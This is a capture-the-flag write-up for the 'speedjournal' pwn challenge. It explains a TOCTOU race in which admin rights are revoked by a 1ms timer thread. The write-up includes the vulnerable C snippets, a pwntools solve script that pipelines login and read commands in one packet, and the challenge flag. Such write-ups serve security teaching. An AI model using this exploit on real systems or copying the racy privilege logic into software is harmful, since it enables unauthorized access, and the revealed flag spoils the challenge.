ScarletCTF 2026 - speedjournal

Overview

Speed Journal is a Pwn challenge where we must read a restricted log entry. The application uses a threaded timer to revoke admin privileges almost immediately after login, creating a race condition.

Category	Difficulty	Flag
Pwn / Concurrency	Medium	`RUSEC{wow_i_did_a_data_race}`

Analysis

We are provided with speedjournal.c. The application acts as a logging system where users can read/write logs. The flag is in log index 0, restricted to admins.

Global State & The Flag

1
strcpy(logs[0].content, "RUSEC{not_the_real_flag}\n");
2
logs[0].restricted = 1; // Requires admin to read

The Authentication Mechanism

The vulnerability lies in how is_admin is managed during login:

1
if (strncmp(pw, "supersecret\n", 12) == 0) {
2
    is_admin = 1; // [A] Elevate privileges
3

4
    pthread_t t;
5
    pthread_create(&t, NULL, logout_thread, NULL); // [B] Start timer
6
    pthread_detach(t);
7

8
    puts("[+] Admin logged in (temporarily)");
9
}

The Race Condition

The logout_thread keeps privileges active for only 1 millisecond:

1
void *logout_thread(void *arg) {
2
    usleep(WAIT_TIME); // Wait 1000 microseconds (1ms)
3
    is_admin = 0;      // [C] Revoke privileges
4
    return NULL;
5
}

To get the flag, we must perform the following actions within that 1ms window:

Finish the login_admin function.
Return to main.
Select option 3 (Read log).
Select index 0.

Vulnerability: Input Latency

If a human connects via netcat and types manually, the latency makes this impossible:

1
sequenceDiagram
2
    participant Human
3
    participant Server
4
    Human->>Server: "1" (Login)
5
    Human->>Server: "supersecret"
6
    Server->>Server: is_admin = 1
7
    Server->>Server: Spawn Timer Thread
8
    Note right of Server: Timer counting 1ms...
9
    Human->>Human: Types "3" (Takes ~1s)
10
    Note right of Server: Timer expires (is_admin = 0)
11
    Human->>Server: "3" (Read Log)
12
    Server-->>Human: Access Denied

Exploitation Strategy: Input Pipelining

To win the race, we utilize Input Pipelining. We send all required commands in a single TCP packet. The server’s stdin buffer will be populated immediately, and the main thread will consume these inputs much faster than the operating system can schedule the sleeping thread.

Payload Chain:

1\n -> Enter Login Menu
supersecret\n -> Authenticate
3\n -> Enter Read Menu (immediately after login)
0\n -> Request Index 0 (immediately after menu selection)

1
sequenceDiagram
2
    participant Script
3
    participant Server
4
    Script->>Server: "1\nsupersecret\n3\n0\n" (Buffered)
5
    Server->>Server: Read "1", "supersecret" -> is_admin = 1
6
    Server->>Server: Start Timer Thread (Sleeping...)
7
    Server->>Server: Read "3" (Menu) -> Read "0" (Index)
8
    Server->>Server: Check is_admin? YES (Timer still sleeping)
9
    Server-->>Script: RUSEC{...}
10
    Note right of Server: Timer expires (is_admin = 0)

Solution Script

Using pwntools to send the batched payload:

1
from pwn import *
2

3
# Context Settings
4
context.log_level = 'info'
5

6
# Target Connection
7
HOST = 'challs.ctf.rusec.club'
8
PORT = 22169
9

10
def solve():
11
    # Connect to the remote instance
12
    try:
13
        r = remote(HOST, PORT)
14
    except:
15
        print("[-] Could not connect to target.")
16
        return
17

18
    # Payload Construction
19
    # We chain the inputs together using newlines (\n)
20
    # 1           = Menu: Login
21
    # supersecret = Password
22
    # 3           = Menu: Read Log
23
    # 0           = Index of the flag
24
    payload = b"1\nsupersecret\n3\n0\n"
25

26
    print("[*] Sending batched payload to win the race...")
27

28
    # Send all bytes at once.
29
    # The server processes stdin faster than the 1ms sleep thread.
30
    r.send(payload)
31

32
    # Receive the output until we find the flag or the connection closes
33
    response = r.recvall(timeout=2).decode(errors='ignore')
34

35
    if "RUSEC{" in response:
36
        print("\n[+] SUCCESS! Flag found:")
37
        # Extract flag using simple parsing
38
        for line in response.split('\n'):
39
            if "RUSEC{" in line:
40
                print(f"    {line.strip()}")
41
    else:
42
        print("[-] Race failed or flag not found.")
43
        print(response)
44

45
    r.close()
46

47
if __name__ == "__main__":
48
    solve()

Conclusion

This challenge demonstrates a classic Time-of-Check to Time-of-Use (TOCTOU) vulnerability enforced by threading. By using input pipelining, we effectively bypassed the artificial time constraint imposed by the usleep function.

Flag: RUSEC{wow_i_did_a_data_race}